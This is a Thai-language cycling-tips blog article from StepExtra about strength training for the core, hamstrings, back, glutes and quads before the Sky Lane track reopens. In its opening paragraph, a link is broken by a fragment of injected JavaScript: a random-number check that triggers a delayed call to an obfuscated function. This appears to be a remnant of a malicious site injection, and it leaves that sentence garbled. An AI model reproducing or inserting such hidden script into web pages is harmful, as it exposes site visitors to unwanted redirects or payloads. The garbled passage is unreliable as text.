• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Cycling Tips

ฝึกกล้ามเนื้อเสริมพลังปั่นพิชิต Sky Lane

kan by kan
9 May 2018
in Cycling Tips, Tips & Technics
0
การฝึกกล้ามเนื้อ
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

แม้ช่วงนี้ข่าวคร่าววงการปั่นจักรยานจะซบเซาลงไป แต่เชื่อว่าทันทีที่สนาม andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-2017-renovation/” target=”_blank” rel=”noopener”>Sky Lane เปิดใช้บริการอีกครั้ง (รออีกหน่อยสัก 2-3 เดือนนะ) วงการจักรยานจะกลับมาคึกคักเช่นเดิม เมื่อเปิดแล้วต้องปัง! เราอยากเห็นคุณปั่นทำลายสถิติตัวเองใหม่อีกครั้ง อยากเห็น new watt หรือ new max speed ใหม่บนลู่ Sky Lane ดังนั้นเรามาเตรียมความพร้อมของร่างกายกันดีกว่า ก่อนอื่นต้องเริ่มจาก การฝึกกล้ามเนื้อ ( strength training ) เพื่อให้กล้ามเนื้อของเรามีประสิทธิภาพพร้อมใช้งานนั่นเอง…..

การฝึกกล้ามเนื้อ strength training

1.core

กล้ามเนื้อชุดกลางลำตัว ไม่ว่าจะเป็นนักวิ่งหรือนักปั่น ถือว่าเป็นกล้ามเนื้อหลักที่ต้องฝึก การมีกล้ามเนื้อ core ที่แข็งแรง (Stable Core) จะทำให้ Upper body นิ่ง ร่างท่อนบนไม่เคลื่อนไหวส่ายไปมา ลดการสูญเสียพลังงานงานและโมเมนตรัม ให้ร่างกายส่งถ่ายพลังงานไปยังช่วงล่าง ขา และเท้าอย่างมีประสิทธิภาพ ปั่นได้อย่างราบเรียบอย่างที่เรียกว่า “Smooth pedal stoke”

ไปดูกันว่าท่าฝึกกล้ามเนื้อส่วน core มีแบบไหนบ้างจากคลิป GCN

2. Hamstring

หนึ่งในกล้ามเนื้อชุดหลักของการปั่น ที่เด่นชัดที่สุดคงจะเป็นการทำหน้าที่ในการดึงบันไดปั่นขึ้น (Pull pedal) กล้ามเนื้อ Hamstring ทำงานร่วมกับกล้ามเนื้อ Glutes ในการยืดขาและกับเข่าในการพับขาเพื่อดึงบันไดปั่นขึ้นมา ถ้ายังนึกไม่ออกว่ามันทำงานอย่างไร

การฝึกกล้ามเนื้อ

เอาละเรามาดูไอเดียการฝึกกล้ามเนื้อ Hamstring จากคลิปยูทูปกันดีกว่า

แบบที่สอง

3. Back

จุดประสงค์ของการฝึกกล้ามเนื้อหลังคงหนีไม่พ้นการปั่นให้ได้ยาวนานขึ้น ลดอาการปวดหลัง กล้ามเนื้อต้นคอ ช่วยประคองลำตัวไม่ให้น้ำหนักกดลงแขน ศอก ข้อมือ มากเกินไป อันเป็นสาเหตุของอาการปวดอักเสบ ทั้งนี้การทำ Bike fitting เป็นการเริ่มต้นในการจัดระเบียบร่างกายที่ดีที่สุด สามารถลดอาการบาดเจ็บได้ดี จากนั้นมาฝึกกล้ามเนื้อเพื่อเพิ่มความแข็งแรง ทำให้ยืนระยะได้นานขึ้น

4. Gluteus

ทำไมต้องฝึกกล้ามเนื้อ Gluteus ก่อนอื่นบอกเลยว่า เจ้ากล้ามเนื้อชุดนี้มีส่วนในการเรียกพลังปั่นมาก ลองดูจากรูปภาพในหนึ่งการปั่น จะพบว่า กล้ามเนื้อ gluteus จะถูกใช้ในจังหวะที่เรียกว่า Power phase หรือจังหวะกดนั้นละครับ การฝึกกล้ามเนื้อ gluteus มีประโยชน์ในการรักษาบาลานซ์ การทรงตัว ช่วยในกระประสานงานการเคลื่อนไหวตะโพก เอวและหัวเข่า ป้องกันไม่ให้เอวเรายกไปมาระหว่างปั่นด้วย

การฝึกกล้ามเนื้อ
www.telegraph.co.uk

ฃมาดูคลิปการฝึกกันเลยครับ สามารถนำเอาการฝึกของนักวิ่งมาใช้ได้เช่นกันครับ

5. Quads

กล้ามเนื้อชุดสุดท้ายที่เราจะพูดถึงคือกล้ามเนื้อ quads ทำหน้าที่ในจังหวะ Power phase เช่นเดียวกันกับกล้ามเนื้อ gluteus เป็นชุดกล้ามเนื้อที่ active เราสังเกตเห็นได้ชัดที่สุดเวลาทำงาน ไม่เหมือนกล้ามเนื้อ gluteus ที่ทำงานแบบ Subconscious (ไม่รู้ว่ามันใช้งานด้วย) ไม่ว่าจะเป็นสปินซเตอร์หรือนักไต่เขา ชุดกล้ามเนื้อที่ไม่ควรมองข้างและเป็นชุดแรกที่ฝึกคือ กล้ามเนื้อ quads นี้แหละครับ

referenceI Love Bicycling,Bicycles Stack Exchange,Lee Likes Bikes,

Tags: Sky Lane Thailand
ShareTweetShare
kan

kan

Related Posts

แจ้งปิดปรับปรุงลู่ปั่นจักรยาน Sky Lane Thailand เพิ่มความปลอดภัย เพื่อมุ่งหน้าสู่สนามที่ดีกว่า
Cycling News

แจ้งปิดปรับปรุงลู่ปั่นจักรยาน Sky Lane Thailand เพิ่มความปลอดภัย เพื่อมุ่งหน้าสู่สนามที่ดีกว่า

9 May 2018
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
  • รู้หรือไม่…ต้นทุนรองเท้าราคาเท่าไหร่และประกอบด้วยค่าอะไรบ้าง

    0 shares
    Share 0 Tweet 0
  • วิ่งให้เร็วขึ้นด้วยการฝึกสปริ้นท์ 30 วินาที

    0 shares
    Share 0 Tweet 0
  • อาการอยาก ของหวาน (Sugar Craving) ร่างกายไม่ได้ต้องการน้ำตาลอย่างเดียว

    0 shares
    Share 0 Tweet 0
  • 13 กลวิธี ขี่จักรยานให้ได้ความเร็วเพิ่มขึ้น!

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.